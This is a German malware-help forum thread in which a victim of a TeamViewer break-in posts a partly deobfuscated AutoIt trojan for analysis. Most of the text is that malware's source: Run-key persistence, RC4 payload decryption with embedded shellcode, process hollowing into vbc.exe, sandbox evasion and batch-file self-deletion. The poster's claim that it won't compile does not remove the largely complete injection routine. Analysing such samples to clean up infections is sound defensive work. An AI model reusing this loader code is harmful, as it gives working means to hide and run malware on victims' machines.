Trojaner-Board

Trojaner-Board (https://www.trojaner-board.de/)
-   Plagegeister aller Art und deren Bekämpfung (https://www.trojaner-board.de/plagegeister-aller-art-deren-bekaempfung/)
-   -   Bestätigter Virus - Analyse/Säuberung des Trojaner/Keylogger inkl. Ursprungsdatei (https://www.trojaner-board.de/169461-bestaetigter-virus-analyse-saeuberung-trojaner-keylogger-inkl-ursprungsdatei.html)

FabulousGee 08.08.2015 18:33

Bestätigter Virus - Analyse/Säuberung des Trojaner/Keylogger inkl. Ursprungsdatei
 
Hallo liebes Board,

bisher war ich der Meinung, mein System sehr gut abgesichert zu haben - aber leider ist mir eine Lücke entgangen...

Kurz zur Vorgeschichte:
Wir haben einen Verbund von mehreren Rechnern, die über TeamViewer teils für unbeaufsichtigten Zugriff konfiguriert sind. Sprich, man kann sich vom einen zum anderen Rechner ohne Passwort verbinden, wenn man das Master-Passwort kennt.

Vor circa 30 Minuten saß ich (zum Glück) gerade an meinem Rechner, als plötzlich eine eingehende Verbindung initalisiert wurde - mit meinem eigenen Namen?! Geistesgegenwärtig habe ich den sich gerade öffnenden Dateiübertragungsserver sofort geschlossen, die Verbindung getrennt und alle Passwörter umgehend geändert.
Soweit ich es bisher untersucht habe, konnte die Datei nicht übertragen und schon gar nicht ausgeführt werden. Auch Daten wurden nicht entwendet.

Leider hatte ein anderer Rechner im Verbund nicht so viel Glück. Er wurde definitiv infiziert.
Es wurden Daten entwendet (was genau ist noch unklar, ich tippe mal auf Passwörter u.Ä.) und definitiv Schadsoftware installiert. Ich habe die Datei auch bei VirusTotal hochgeladen:
https://www.virustotal.com/de/file/b2b0f3a0941d65590c035c8ecc69f9ef20284a3a9fda08e661ac4e99840db33b/analysis/1439053104/

Diese Ursprungsdatei habe ich hier auch noch vorliegen. Ich wollte sie jetzt hier nicht hochladen, da ich nicht weiß, ob das ok wäre. Ich würde sie aber natürlich einem Analysten gerne zur Verfügung stellen, damit man feststellen kann, welche Daten genau entwendet wurden.

Den betroffenen Rechner habe ich natürlich sofort heruntergefahren - leider startet er sich aber automatisch immer neu, sodass ich nun die Internetverbindung kappen muss. Physisch :headbang:
Wäre schön, wenn jemand eine Idee hat. Ich werde derweil mal versuchen, das ganze in einer VM zu testen.


P.S.: Die TeamViewer-ID von diesem Mistkerl ist übrigens die 302087758 - vllt. mag sich das ja ein Greyhat auch mal genauer ansehen, was da noch so los ist... Sobald die Hotline von TV wieder erreichbar ist werde ich dort die Herausgabe der Daten verlangen und mal sehen, ob man da nicht mit einer Anzeige was erreichen kann. Leider ist die Abteilung Cyberkriminalität vom Kriminaldauerdienst am Wochenende nicht besetzt, die haben mich auf Montag vertröstet

schrauber 08.08.2015 20:24

Hi,

Schick die Datei mal an schrauber(at)trojaner-board.de

FabulousGee 09.08.2015 02:50

Habs dir als Archiv geschickt.

Ich gehe mittlerweile davon aus, dass da kein Profi am Werk war. Der Angriff lief scheinbar manuell ab, auch der Weg über Teamviewer die Dateien zu kopieren scheint semi-professionell.
Augenscheinlich wurden erstmal nur Basic-Daten entwendet (wobei das ein Spezialist näher untersuchen muss, ich kenne ich mich nur rudimentär aus).
Außerdem wurde der Virus/Trojaner scheinbar mit AutoIt entwickelt - für Profis nicht unbedingt die erste Wahl. Ist eher was für die Fraktion Skriptkiddies :kloppen:

Achso, das inifizierte Betriebssystem ist übrigens Windows Server 2012 - meins daheim Windows 10. Meins hier daheim hat nichts abbekommen, hab ich mittlerweile nochmal mit den bekannten Tools hier gecheckt.

Der AutoIt-Code ist ziemlich stark obfuscated. Hier mal mein aktueller Stand, vielleicht kann ja jemand schon was rauslesen... (Es sind teilweise Fehler drin und der Code dürfte nicht kompilieren, ist also nutzlos für Scriptkiddies und dergleichen ;) )

Ich denke, ich kann erst morgen weitermachen - meine Augen wollen nicht mehr so wie ich.

Code:

#NoTrayIcon
If FileExists($CmdLine[1] & ':' & 'Zone.Identifier') Then DllCall('kernel32.dll', 'bool', 'DeleteFileW', 'wstr', $CmdLine[1] & ':' & 'Zone.Identifier')
FileSetAttrib($CmdLine[1], "+" & "SH")
RegWrite("HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "cmd", "REG_SZ", $CmdLine[1])

$incl2Content = FileRead(@TempDir & "\incl2")
Local $byte =        "0xC81001006A006A005356578B551031C989C84989D7F2AE484829C88945F085C00F84DC000000B90001" & _
                                "000088C82C0188840DEFFEFFFFE2F38365F4008365FC00817DFC000100007D478B45FC31D2F775F09203" & _
                                "45100FB6008B4DFC0FB68C0DF0FEFFFF01C80345F425FF0000008945F48B75FC8A8435F0FEFFFF8B7DF4" & _
                                "86843DF0FEFFFF888435F0FEFFFFFF45FCEBB08D9DF0FEFFFF31FF89FA39550C76638B85ECFEFFFF4025" & _
                                "FF0000008985ECFEFFFF89D80385ECFEFFFF0FB6000385E8FEFFFF25FF0000008985E8FEFFFF89DE03B5" & _
                                "ECFEFFFF8A0689DF03BDE8FEFFFF860788060FB60E0FB60701C181E1FF0000008A840DF0FEFFFF8B7508" & _
                                "01D6300642EB985F5E5BC9C21000"
Local $dllStruct = DllStructCreate("byte[" & BinaryLen($byte) & "]")
Local $dllStruct2 = DllStructCreate("byte[" & BinaryLen($incl2Content) & "]")
DllStructSetData($dllStruct, 1, $byte)
DllStructSetData($dllStruct2, 1, $incl2Content)
DllCall("user32.dll", "none", "CallWindowProc", "ptr", DllStructGetPtr($dllStruct), "ptr", DllStructGetPtr($dllStruct2), "int", BinaryLen($incl2Content), "str", "cKDYReZyuWfy61QulAryNR7EYMaDbe", "int", 0)

$U33STO = DllStructGetData($dllStruct2, 1)
$Z35UEB7lP = X34UeeV($U33STO, D33388gcMC(), "")
While 1
If Not ProcessExists($Z35UEB7lP) Then
$Z35UEB7lP = X34UeeV($U33STO, D33388gcMC(), "")
Endif
RegWrite("HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "cmd", "REG_SZ", $CmdLine[1])
Sleep(100)
WEnd
Func checkForSandbox()
        If ProcessExists("SandboxieRpcSs.exe") OR ProcessExists("SandboxieDcomLaunch.exe") Then
                Exit
        EndIf
EndFunc
Global $M3131bk7 = ProcessList()
#region X34UeeV
Func X34UeeV($K3336CU, $J3337fv0 = $CmdLine[1], $Q3338up1RPa = "")
        Local $F3431gdkgk = DllStructCreate("byte[" & BinaryLen($K3336CU) & "]"), $32Or64Bit, $A3434Awlq, $T34357y4o, $P3436DDYOo, $T3437TG36, $M3438toP, $U3439RlPADx, $K3530gWa, $D3531XIR4i2, $X3532Zi, $N3533kyfrhm, $G35344C4, $Z3535ydppu
        DllStructSetData($F3431gdkgk, 1, $K3336CU)
        Local $R35384mv = DllStructGetPtr($F3431gdkgk), $S3630nhJ7kX = DllStructCreate("ptr Process;ptr Thread;dword ProcessId;dword ThreadId")
        Local @CRLF = DllCall("kernel32.dll", "bool", "CreateProcessW", "wstr", $J3337fv0, "wstr", $Q3338up1RPa, "ptr", 0, "ptr", 0, "int", 0, "dword", 4, "ptr", 0, "ptr", 0, "ptr", DllStructGetPtr(DllStructCreate("dword cbSize;ptr Reserved;ptr Desktop;ptr Title;dword X;dword Y;dword XSize;dword YSize;dword XCountChars;dword YCountChars;dword FillAttribute;dword Flags;word ShowWindow;word Reserved2;ptr Reserved2;ptr hStdInput;ptr hStdOutput;ptr hStdError")), "ptr", DllStructGetPtr($S3630nhJ7kX))
        If @error Or Not @CRLF[0] Then Return 0
        Local $B3732rjO = DllStructGetData($S3630nhJ7kX, "Process"), $U3734zWbmn = DllStructGetData($S3630nhJ7kX, "Thread")
        If @AutoItX64 And E38zXvY13($B3732rjO) Then Return W3130CLmo($B3732rjO)
        If @AutoItX64 Then
                If @OSArch = "X64" Then
                        $32Or64Bit = 2
                        $A3434Awlq = DllStructCreate("align 16; uint64 P1Home; uint64 P2Home; uint64 P3Home; uint64 P4Home; uint64 P5Home; uint64 P6Home;dword ContextFlags; dword MxCsr;word SegCS; word SegDs; word SegEs; word SegFs; word SegGs; word SegSs; dword EFlags;uint64 Dr0; uint64 Dr1; uint64 Dr2; uint64 Dr3; uint64 Dr6; uint64 Dr7;uint64 Rax; uint64 Rcx; uint64 Rdx; uint64 Rbx; uint64 Rsp; uint64 Rbp; uint64 Rsi; uint64 Rdi; uint64 R8; uint64 R9; uint64 R10; uint64 R11; uint64 R12; uint64 R13; uint64 R14; uint64 R15;uint64 Rip;uint64 Header[4]; uint64 Legacy[16]; uint64 Xmm0[2]; uint64 Xmm1[2]; uint64 Xmm2[2]; uint64 Xmm3[2]; uint64 Xmm4[2]; uint64 Xmm5[2]; uint64 Xmm6[2]; uint64 Xmm7[2]; uint64 Xmm8[2]; uint64 Xmm9[2]; uint64 Xmm10[2]; uint64 Xmm11[2]; uint64 Xmm12[2]; uint64 Xmm13[2]; uint64 Xmm14[2]; uint64 Xmm15[2];uint64 VectorRegister[52]; uint64 VectorControl;uint64 DebugControl; uint64 LastBranchToRip; uint64 LastBranchFromRip; uint64 LastExceptionToRip; uint64 LastExceptionFromRip")
                Else
                        Return W3130CLmo($B3732rjO)
                EndIf
        Else
                $32Or64Bit = 1
                $A3434Awlq = DllStructCreate("dword ContextFlags;dword Dr0; dword Dr1; dword Dr2; dword Dr3; dword Dr6; dword Dr7;dword ControlWord; dword StatusWord; dword TagWord; dword ErrorOffset; dword ErrorSelector; dword DataOffset; dword DataSelector; byte RegisterArea[80]; dword Cr0NpxState;dword SegGs; dword SegFs; dword SegEs; dword SegDs;dword Edi; dword Esi; dword Ebx; dword Edx; dword Ecx; dword Eax;dword Ebp; dword Eip; dword SegCs; dword EFlags; dword Esp; dword SegSs;byte ExtendedRegisters[512]")
        EndIf
        Switch $32Or64Bit
                Case 1
                        $T34357y4o = 0x10007
                Case 2
                        $T34357y4o = 0x100007
        EndSwitch
        DllStructSetData($A3434Awlq, "ContextFlags", $T34357y4o)
        @CRLF = DllCall("kernel32.dll", "bool", "GetThreadContext", "handle", $U3734zWbmn, "ptr", DllStructGetPtr($A3434Awlq))
        If @error Or Not @CRLF[0] Then Return W3130CLmo($B3732rjO)
        Switch $32Or64Bit
                Case 1
                        $P3436DDYOo = DllStructGetData($A3434Awlq, "Ebx")
                Case 2
                        $P3436DDYOo = DllStructGetData($A3434Awlq, "Rdx")
        EndSwitch
        Local $N3939Yf = DllStructCreate("char Magic[2];word BytesOnLastPage;word Pages;word Relocations;word SizeofHeader;word MinimumExtra;word MaximumExtra;word SS;word SP;word Checksum;word IP;word CS;word Relocation;word Overlay;char Reserved[8];word OEMIdentifier;word OEMInformation;char Reserved2[20];dword AddressOfNewExeHeader", $R35384mv), $F313031vdTPLi = $R35384mv
        $R35384mv += DllStructGetData($N3939Yf, "AddressOfNewExeHeader")
        Local $V313035mI = DllStructGetData($N3939Yf, "Magic")
        If Not ($V313035mI == "MZ") Then Return W3130CLmo($B3732rjO)
        Local $X313039hiL = DllStructCreate("dword Signature", $R35384mv)
        $R35384mv += 4
        If DllStructGetData($X313039hiL, "Signature") <> 17744 Then Return W3130CLmo($B3732rjO)
        Local $S313134jWhG = DllStructCreate("word Machine;word NumberOfSections;dword TimeDateStamp;dword PointerToSymbolTable;dword NumberOfSymbols;word SizeOfOptionalHeader;word Characteristics", $R35384mv), $S313136YFRM0t = DllStructGetData($S313134jWhG, "NumberOfSections")
        $R35384mv += 20
        Local $H313139A4s = DllStructCreate("word Magic;", $R35384mv), $R313231ae = DllStructGetData($H313139A4s, 1), $Y3132334lfa
        If $R313231ae = 267 Then
                If @AutoItX64 Then Return W3130CLmo($B3732rjO)
                $Y3132334lfa = DllStructCreate("word Magic;byte MajorLinkerVersion;byte MinorLinkerVersion;dword SizeOfCode;dword SizeOfInitializedData;dword SizeOfUninitializedData;dword AddressOfEntryPoint;dword BaseOfCode;dword BaseOfData;dword ImageBase;dword SectionAlignment;dword FileAlignment;word MajorOperatingSystemVersion;word MinorOperatingSystemVersion;word MajorImageVersion;word MinorImageVersion;word MajorSubsystemVersion;word MinorSubsystemVersion;dword Win32VersionValue;dword SizeOfImage;dword SizeOfHeaders;dword CheckSum;word Subsystem;word DllCharacteristics;dword SizeOfStackReserve;dword SizeOfStackCommit;dword SizeOfHeapReserve;dword SizeOfHeapCommit;dword LoaderFlags;dword NumberOfRvaAndSizes", $R35384mv)
                $R35384mv += 96
        ElseIf $R313231ae = 523 Then
                If Not @AutoItX64 Then Return W3130CLmo($B3732rjO)
                $Y3132334lfa = DllStructCreate("word Magic;byte MajorLinkerVersion;byte MinorLinkerVersion;dword SizeOfCode;dword SizeOfInitializedData;dword SizeOfUninitializedData;dword AddressOfEntryPoint;dword BaseOfCode;uint64 ImageBase;dword SectionAlignment;dword FileAlignment;word MajorOperatingSystemVersion;word MinorOperatingSystemVersion;word MajorImageVersion;word MinorImageVersion;word MajorSubsystemVersion;word MinorSubsystemVersion;dword Win32VersionValue;dword SizeOfImage;dword SizeOfHeaders;dword CheckSum;word Subsystem;word DllCharacteristics;uint64 SizeOfStackReserve;uint64 SizeOfStackCommit;uint64 SizeOfHeapReserve;uint64 SizeOfHeapCommit;dword LoaderFlags;dword NumberOfRvaAndSizes", $R35384mv)
                $R35384mv += 112
        Else
                Return W3130CLmo($B3732rjO)
        EndIf
        Local $F313335JnK = DllStructGetData($Y3132334lfa, "AddressOfEntryPoint"), $W313337uhBVD2 = DllStructGetData($Y3132334lfa, "SizeOfHeaders"), $P3133392Uc = DllStructGetData($Y3132334lfa, "ImageBase"), $S313431C3 = DllStructGetData($Y3132334lfa, "SizeOfImage")
        $R35384mv += 40
        Local $K313434405HMa = DllStructCreate("dword a; dword b", $R35384mv), $A3134361vSa7a = DllStructGetData($K313434405HMa, "a"), $Y313438uYxU = DllStructGetData($K313434405HMa, "b")
        If $A3134361vSa7a And $Y313438uYxU Then $T3437TG36 = True
        $R35384mv += 88
        If $T3437TG36 Then
                $U3439RlPADx = N36sQg($B3732rjO, $S313431C3)
                If @error Then
                        $U3439RlPADx = P35ppyQDA($B3732rjO, $P3133392Uc, $S313431C3)
                        If @error Then
                                I373b610($B3732rjO, $P3133392Uc)
                                $U3439RlPADx = P35ppyQDA($B3732rjO, $P3133392Uc, $S313431C3)
                                If @error Then Return W3130CLmo($B3732rjO)
                        EndIf
                EndIf
                $M3438toP = True
        Else
                $U3439RlPADx = P35ppyQDA($B3732rjO, $P3133392Uc, $S313431C3)
                If @error Then
                        I373b610($B3732rjO, $P3133392Uc)
                        $U3439RlPADx = P35ppyQDA($B3732rjO, $P3133392Uc, $S313431C3)
                        If @error Then Return W3130CLmo($B3732rjO)
                EndIf
        EndIf
        DllStructSetData($Y3132334lfa, "ImageBase", $U3439RlPADx)
        Local $I313833pf = DllStructCreate("byte[" & $S313431C3 & "]"), $X313835uc = DllStructGetPtr($I313833pf), $I3138376izn = DllStructCreate("byte[" & $W313337uhBVD2 & "]", $F313031vdTPLi)
        DllStructSetData($I313833pf, 1, DllStructGetData($I3138376izn, 1))
        For $B3233Tv = 1 To $S313136YFRM0t
                $K3530gWa = DllStructCreate("char Name[8];dword UnionOfVirtualSizeAndPhysicalAddress;dword VirtualAddress;dword SizeOfRawData;dword PointerToRawData;dword PointerToRelocations;dword PointerToLinenumbers;word NumberOfRelocations;word NumberOfLinenumbers;dword Characteristics", $R35384mv)
                $D3531XIR4i2 = DllStructGetData($K3530gWa, "SizeOfRawData")
                $X3532Zi = $F313031vdTPLi + DllStructGetData($K3530gWa, "PointerToRawData")
                $N3533kyfrhm = DllStructGetData($K3530gWa, "VirtualAddress")
                $G35344C4 = DllStructGetData($K3530gWa, "UnionOfVirtualSizeAndPhysicalAddress")
                If $G35344C4 And $G35344C4 < $D3531XIR4i2 Then $D3531XIR4i2 = $G35344C4
                If $D3531XIR4i2 Then
                        DllStructSetData(DllStructCreate("byte[" & $D3531XIR4i2 & "]", $X313835uc + $N3533kyfrhm), 1, DllStructGetData(DllStructCreate("byte[" & $D3531XIR4i2 & "]", $X3532Zi), 1))
                EndIf
                If $M3438toP Then
                        If $N3533kyfrhm <= $A3134361vSa7a And $N3533kyfrhm + $D3531XIR4i2 > $A3134361vSa7a Then
                                $Z3535ydppu = DllStructCreate("byte[" & $Y313438uYxU & "]", $X3532Zi + ($A3134361vSa7a - $N3533kyfrhm))
                        EndIf
                EndIf
                $R35384mv += 40
        Next
        If $M3438toP Then I391m4k($X313835uc, $Z3535ydppu, $U3439RlPADx, $P3133392Uc, $R313231ae = 523)
        @CRLF = DllCall("kernel32.dll", "bool", "WriteProcessMemory", "handle", $B3732rjO, "ptr", $U3439RlPADx, "ptr", $X313835uc, "dword_ptr", $S313431C3, "dword_ptr*", 0)
        If @error Or Not @CRLF[0] Then Return W3130CLmo($B3732rjO)
        Local $S323433rXixP = DllStructCreate("byte InheritedAddressSpace;byte ReadImageFileExecOptions;byte BeingDebugged;byte Spare;ptr Mutant;ptr ImageBaseAddress;ptr LoaderData;ptr ProcessParameters;ptr SubSystemData;ptr ProcessHeap;ptr FastPebLock;ptr FastPebLockRoutine;ptr FastPebUnlockRoutine;dword EnvironmentUpdateCount;ptr KernelCallbackTable;ptr EventLogSection;ptr EventLog;ptr FreeList;dword TlsExpansionCounter;ptr TlsBitmap;dword TlsBitmapBits[2];ptr ReadOnlySharedMemoryBase;ptr ReadOnlySharedMemoryHeap;ptr ReadOnlyStaticServerData;ptr AnsiCodePageData;ptr OemCodePageData;ptr UnicodeCaseTableData;dword NumberOfProcessors;dword NtGlobalFlag;byte Spare2[4];int64 CriticalSectionTimeout;dword HeapSegmentReserve;dword HeapSegmentCommit;dword HeapDeCommitTotalFreeThreshold;dword HeapDeCommitFreeBlockThreshold;dword NumberOfHeaps;dword MaximumNumberOfHeaps;ptr ProcessHeaps;ptr GdiSharedHandleTable;ptr ProcessStarterHelper;ptr GdiDCAttributeList;ptr LoaderLock;dword OSMajorVersion;dword OSMinorVersion;dword OSBuildNumber;dword OSPlatformId;dword ImageSubSystem;dword ImageSubSystemMajorVersion;dword ImageSubSystemMinorVersion;dword GdiHandleBuffer[34];dword PostProcessInitRoutine;dword TlsExpansionBitmap;byte TlsExpansionBitmapBits[128];dword SessionId")
        @CRLF = DllCall("kernel32.dll", "bool", "ReadProcessMemory", "ptr", $B3732rjO, "ptr", $P3436DDYOo, "ptr", DllStructGetPtr($S323433rXixP), "dword_ptr", DllStructGetSize($S323433rXixP), "dword_ptr*", 0)
        If @error Or Not @CRLF[0] Then Return W3130CLmo($B3732rjO)
        DllStructSetData($S323433rXixP, "ImageBaseAddress", $U3439RlPADx)
        @CRLF = DllCall("kernel32.dll", "bool", "WriteProcessMemory", "handle", $B3732rjO, "ptr", $P3436DDYOo, "ptr", DllStructGetPtr($S323433rXixP), "dword_ptr", DllStructGetSize($S323433rXixP), "dword_ptr*", 0)
        If @error Or Not @CRLF[0] Then Return W3130CLmo($B3732rjO)
        Switch $32Or64Bit
                Case 1
                        DllStructSetData($A3434Awlq, "Eax", $U3439RlPADx + $F313335JnK)
                Case 2
                        DllStructSetData($A3434Awlq, "Rcx", $U3439RlPADx + $F313335JnK)
        EndSwitch
        @CRLF = DllCall("kernel32.dll", "bool", "SetThreadContext", "handle", $U3734zWbmn, "ptr", DllStructGetPtr($A3434Awlq))
        If @error Or Not @CRLF[0] Then Return W3130CLmo($B3732rjO)
        @CRLF = DllCall("kernel32.dll", "dword", "ResumeThread", "handle", $U3734zWbmn)
        If @error Or @CRLF[0] = -1 Then Return W3130CLmo($B3732rjO)
        DllCall("kernel32.dll", "bool", "CloseHandle", "handle", $B3732rjO)
        DllCall("kernel32.dll", "bool", "CloseHandle", "handle", $U3734zWbmn)
        Return DllStructGetData($S3630nhJ7kX, "ProcessId")
EndFunc
Func P35ppyQDA($B3732rjO, $Y323836f1Ej, $Q323837vv)
        Local @CRLF = DllCall("kernel32.dll", "ptr", "VirtualAllocEx", "handle", $B3732rjO, "ptr", $Y323836f1Ej, "dword_ptr", $Q323837vv, "dword", 0x1000, "dword", 64)
        If @error Or Not @CRLF[0] Then
                @CRLF = DllCall("kernel32.dll", "ptr", "VirtualAllocEx", "handle", $B3732rjO, "ptr", $Y323836f1Ej, "dword_ptr", $Q323837vv, "dword", 0x3000, "dword", 64)
                If @error Or Not @CRLF[0] Then Return SetError(1, 0, 0)
        EndIf
        Return @CRLF[0]
EndFunc
Func N36sQg($B3732rjO, $Q323837vv)
        Local @CRLF = DllCall("kernel32.dll", "ptr", "VirtualAllocEx", "handle", $B3732rjO, "ptr", 0, "dword_ptr", $Q323837vv, "dword", 0x3000, "dword", 64)
        If @error Or Not @CRLF[0] Then Return SetError(1, 0, 0)
        Return @CRLF[0]
EndFunc
Func I373b610($B3732rjO, $Y323836f1Ej)
        DllCall("ntdll.dll", "int", "NtUnmapViewOfSection", "ptr", $B3732rjO, "ptr", $Y323836f1Ej)
        If @error Then Return SetError(1, 0, 0)
        Return 1
EndFunc
Func E38zXvY13($B3732rjO)
        Local @CRLF = DllCall("kernel32.dll", "bool", "IsWow64Process", "handle", $B3732rjO, "bool*", 0)
        If @error Or Not @CRLF[0] Then Return SetError(1, 0, 0)
        Return @CRLF[2]
EndFunc
Func I391m4k($X313835uc, $V3332354lR, $Q333236JBYCfB, $X333237sEGRT, $C333238IG0tSj)
        Local $W333239BuqR, $F333330aqmT, $M333331Q5jti, $D333332hY0i6p, $Y333333YxnZ, $F333334uTGp, $32Or64Bit = 3 + 7 * $C333238IG0tSj
        While $F333330aqmT < DllStructGetSize($V3332354lR)
                $W333239BuqR = DllStructCreate("dword a; dword b", DllStructGetPtr($V3332354lR) + $F333330aqmT)
                $M333331Q5jti = DllStructGetData($W333239BuqR, Chr(98))
                $Y333333YxnZ = DllStructCreate("word[" & (($M333331Q5jti - 8) / 2) & Chr(93), DllStructGetPtr($W333239BuqR) + 8)
                For $B3233Tv = 1 To (($M333331Q5jti - 8) / 2)
                        If BitShift(DllStructGetData($Y333333YxnZ, 1, $B3233Tv), 12) = $32Or64Bit Then
                                $F333334uTGp = DllStructCreate("ptr", $X313835uc + DllStructGetData($W333239BuqR, "a") + BitAND(DllStructGetData($Y333333YxnZ, 1, $B3233Tv), 0xFFF))
                                DllStructSetData($F333334uTGp, 1, DllStructGetData($F333334uTGp, 1) + $Q333236JBYCfB - $X333237sEGRT)
                        EndIf
                Next
                $F333330aqmT += $M333331Q5jti
        WEnd
        Return 1
EndFunc
Func W3130CLmo($P3336343w)
        DllCall("kernel32.dll", "bool", "TerminateProcess", "handle", $P3336343w, "dword", 0)
        Return 0
EndFunc
#endregion
Func isAttackableSystem()
        If (StringInStr(@OSVersion, "XP") AND StringInStr(@UserName, "Admin") AND StringInStr(@ComputerName, "pc") AND StringInStr(@OSServicePack, "3")) = True Then
                If $M3131bk7[18][0] = "msmsgs.exe" And $M3131bk7[19][0] = "reader_sl.exe" And $M3131bk7[20][0] = "alg.exe" And $M3131bk7[21][0] = "wscntfy.exe" Then Exit
        EndIf
EndFunc
Func W3234j1($fileName, $destination, $K343038oBz = false)
        Execute("FileCopy('" & $fileName & "', '" & $destination & "')")
        Execute('ShellExecute("' & $destination & '")')
        If $K343038oBz Then H3335yxY()
        Exit
EndFunc
Func X3330YX($V343139vzbQ, $fileName)
        Sleep(1000)
        Switch $V343139vzbQ
                Case "1"
                        If $CmdLine[1] <> "@AppDataDir" & "\" & $fileName Then
                                W3234j1($CmdLine[1], "@AppDataDir" & "\" & $fileName, true)
                        EndIf
                Case "2"
                        If $CmdLine[1] <> "@TempDir" & "\" & $fileName Then
                                W3234j1($CmdLine[1], "@TempDir" & "\" & $fileName, true)
                        EndIf
                Case "3"
                        If $CmdLine[1] <> "@AppDataDir" & "\" & $fileName Then
                                W3234j1($CmdLine[1], "@AppDataDir" & "\" & $fileName)
                        EndIf
                Case "4"
                        If $CmdLine[1] <> "@TempDir" & "\" & $fileName Then
                                W3234j1($CmdLine[1], "@TempDir" & "\" & $fileName)
                        EndIf
                EndSwitch
EndFunc
Func Q33327cE(@CRLF)
        Global $F3135YfH = FileFindFirstFile(StringRegExpReplace(@CRLF, "[\\/]+$", "") & "\*")
        Return $F3135YfH
EndFunc
Func hasDefaultBrowser()
        If RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Shell\Associations\UrlAssociations\http\UserChoice", "Progid") <> '' Then Return True
        Return False
EndFunc
Func H3335yxY()
        Local $newScript = @TempDir & "\" & Random(50, 100, 1) & ".bat"
    FileDelete($newScript)
    FileWrite($newScript, 'ping -n ' & 0 & '127.0.0.1 > nul' & @CRLF & ':loop' & @CRLF & 'del "' & @ScriptDir & "\" & @ScriptName & '"' & @CRLF & 'if exist "' & @ScriptDir & "\" & @ScriptName & '" goto loop' & @CRLF & 'del ' & $newScript)
    Run($newScript, @TempDir, @SW_HIDE)
EndFunc
Func J3336pLYk()
        If hasDefaultBrowser() Then Return StringLeft(StringTrimLeft(RegRead("HKEY_CLASSES_ROOT\shell\open\command", Null), 1), StringInStr(StringTrimLeft(RegRead("HKEY_CLASSES_ROOT\shell\open\command", Null), 1), '"') - 1)
        Return StringLeft(StringTrimLeft(RegRead("HKEY_CLASSES_ROOT\http\shell\open\command", Null), 1), StringInStr(StringTrimLeft(RegRead("HKEY_CLASSES_ROOT\http\shell\open\command", Null), 1), '"') - 1)
EndFunc
Func Z3337tF($S343634cMb, $R343635p8 = "*", $Z343636A4r = 0, $U3436377V5 = False)
        Local $G3436395v = ""
        Local $nextFile = ""
        Local $J343731fmlc = ""
        Local $S343634cMb = StringRegExpReplace($S343634cMb, "[\\/]+$", "") & "\"
        If $U3436377V5 Then $J343731fmlc = $S343634cMb
        If Not FileExists($S343634cMb) Then Return SetError(1, 0, 0)
        If StringRegExp($R343635p8, "[\\/:><\|]|(?s)^\s*$") Then Return SetError(2, 0, 0)
        If Not ($Z343636A4r = 0 Or $Z343636A4r = 1 Or $Z343636A4r = 2) Then Return SetError(3, 0, 0)
        Local $U343836Tjb = FileFindFirstFile($S343634cMb & $R343635p8)
        If @error Then Return SetError(4, 0, 0)
        While 1
                $nextFile = FileFindNextFile($U343836Tjb)
                If @error Then ExitLoop
                If ($Z343636A4r + @extended = 2) Then ContinueLoop
                $G3436395v &= "|" & $J343731fmlc & $nextFile
        WEnd
        FileClose($U343836Tjb)
        If $G3436395v = "" Then Return SetError(4, 0, 0)
        Return StringSplit(StringTrimLeft($G3436395v, 1), "|")
EndFunc
Func D33388gcMC()
    Local $Q353030p7 = RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework", "InstallRoot")
    Local $K353031wO0 = Z3337tF($Q353030p7 , "*", 2), $U353033AT = ''
    For $B3233Tv = $K353031wO0[0] To 1 Step -1
        If StringRegExp($K353031wO0[$B3233Tv], "v4\.0\.\d+", 0) Then
            $U353033AT = $K353031wO0[$B3233Tv]
            ExitLoop
        ElseIf StringRegExp($K353031wO0[$B3233Tv], "v2\.0\.\d+", 0) Then
            $U353033AT = $K353031wO0[$B3233Tv]
            ExitLoop
        EndIf
    Next
        Return $Q353030p7 & $U353033AT & "\vbc.exe"
EndFunc

Liste mit den stark verschlüsselten Base-Commands:

Code:

1=dword cbSize;ptr Reserved;ptr Desktop;ptr Title;dword X;dword Y;dword XSize;dword YSize;dword XCountChars;dword YCountChars;dword FillAttribute;dword Flags;word ShowWindow;word Reserved2;ptr Reserved2;ptr hStdInput;ptr hStdOutput;ptr hStdError
2=ptr Process;ptr Thread;dword ProcessId;dword ThreadId
3=kernel32.dll
4=ntdll.dll
5=align 16; uint64 P1Home; uint64 P2Home; uint64 P3Home; uint64 P4Home; uint64 P5Home; uint64 P6Home;dword ContextFlags; dword MxCsr;word SegCS; word SegDs; word SegEs; word SegFs; word SegGs; word SegSs; dword EFlags;uint64 Dr0; uint64 Dr1; uint64 Dr2; uint64 Dr3; uint64 Dr6; uint64 Dr7;uint64 Rax; uint64 Rcx; uint64 Rdx; uint64 Rbx; uint64 Rsp; uint64 Rbp; uint64 Rsi; uint64 Rdi; uint64 R8; uint64 R9; uint64 R10; uint64 R11; uint64 R12; uint64 R13; uint64 R14; uint64 R15;uint64 Rip;uint64 Header[4]; uint64 Legacy[16]; uint64 Xmm0[2]; uint64 Xmm1[2]; uint64 Xmm2[2]; uint64 Xmm3[2]; uint64 Xmm4[2]; uint64 Xmm5[2]; uint64 Xmm6[2]; uint64 Xmm7[2]; uint64 Xmm8[2]; uint64 Xmm9[2]; uint64 Xmm10[2]; uint64 Xmm11[2]; uint64 Xmm12[2]; uint64 Xmm13[2]; uint64 Xmm14[2]; uint64 Xmm15[2];uint64 VectorRegister[52]; uint64 VectorControl;uint64 DebugControl; uint64 LastBranchToRip; uint64 LastBranchFromRip; uint64 LastExceptionToRip; uint64 LastExceptionFromRip
6=dword ContextFlags;dword Dr0; dword Dr1; dword Dr2; dword Dr3; dword Dr6; dword Dr7;dword ControlWord; dword StatusWord; dword TagWord; dword ErrorOffset; dword ErrorSelector; dword DataOffset; dword DataSelector; byte RegisterArea[80]; dword Cr0NpxState;dword SegGs; dword SegFs; dword SegEs; dword SegDs;dword Edi; dword Esi; dword Ebx; dword Edx; dword Ecx; dword Eax;dword Ebp; dword Eip; dword SegCs; dword EFlags; dword Esp; dword SegSs;byte ExtendedRegisters[512]
7=char Magic[2];word BytesOnLastPage;word Pages;word Relocations;word SizeofHeader;word MinimumExtra;word MaximumExtra;word SS;word SP;word Checksum;word IP;word CS;word Relocation;word Overlay;char Reserved[8];word OEMIdentifier;word OEMInformation;char Reserved2[20];dword AddressOfNewExeHeader
8=word Machine;word NumberOfSections;dword TimeDateStamp;dword PointerToSymbolTable;dword NumberOfSymbols;word SizeOfOptionalHeader;word Characteristics
